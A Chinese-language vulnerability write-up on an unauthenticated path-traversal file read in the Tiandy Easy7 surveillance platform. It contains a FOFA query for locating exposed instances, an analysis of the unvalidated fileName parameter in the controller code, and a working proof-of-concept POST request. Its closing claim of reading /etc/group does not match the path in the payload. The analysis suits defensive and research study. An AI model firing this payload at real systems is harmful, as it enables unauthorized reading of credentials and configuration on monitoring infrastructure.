漏洞简介
天地伟业Easy7是一款用于视频监控管理的软件系统。
该系统的/Easy7/rest/file/download接口存在前台任意文件读取漏洞,攻击者通过构造恶意路径参数(如/etc/passwd)可读取服务器上的任意文件,可能导致敏感信息泄露(如系统配置文件、用户凭证等)。由于天地伟业产品多用于关键基础设施领域,若存在公网暴露实例,可能带来严重的安全风险。
影响版本
fofa语法
body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"
漏洞分析
首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。
再来看本次的漏洞接口 /Easy7/rest/file/download 的对应方法download()的实现逻辑
@Controller
@RequestMapping({"/file"})
public class CLS_REST_File {
@Resource(
name = "boSystemInfo"
)
private CLS_BO_SystemInfo boSystemInfo;
@Resource(
name = "boFile"
)
private CLS_BO_File boFile;
@Resource(
name = "boPROXY"
)
private CLS_BO_PROXY boPROXY;
private static final Log log = LogFactory.getLog(CLS_REST_File.class);
@RequestMapping({"/download"})
public void download(HttpServletRequest request, HttpServletResponse response, CLS_VO_File voFile) throws Exception {
if (CLS_Easy7_Types.SYSTEM_TYPE_IS_ZF == 0) {
if (this.boSystemInfo.checkSystemTypeZF()) {
CLS_Easy7_Types.SYSTEM_TYPE_IS_ZF = 1;
} else {
CLS_Easy7_Types.SYSTEM_TYPE_IS_ZF = -1;
}
}
if (CLS_Easy7_Types.SYSTEM_TYPE_IS_ZF == 1) {
this.downloadForZf(request, response, voFile);
} else {
this.downloadForIts(request, response, voFile);
}
}
根据this.boSystemInfo.checkSystemTypeZF()的值决定进入不同的方法downloadForZf或downloadForIts进行处理,两个方法实现逻辑如下
我们只需要构造两个参数uploadPicturePath、fileName即可满足上述两个场景,
主要是参数fileName没有任何过滤或校验,因此可以目录穿越到其他目录,最终将newPath直接传递进new FileInputStream(newPath);中进行文件操作,整个过程无任何校验或过滤,因此造成任意文件读取漏洞。
漏洞复现
POST /Easy7/rest/file/download HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded
fileName=../../../../root/srsPath/1.txt&uploadPicturePath=/&fullName=1.png
成功读取到/etc/group文件内容


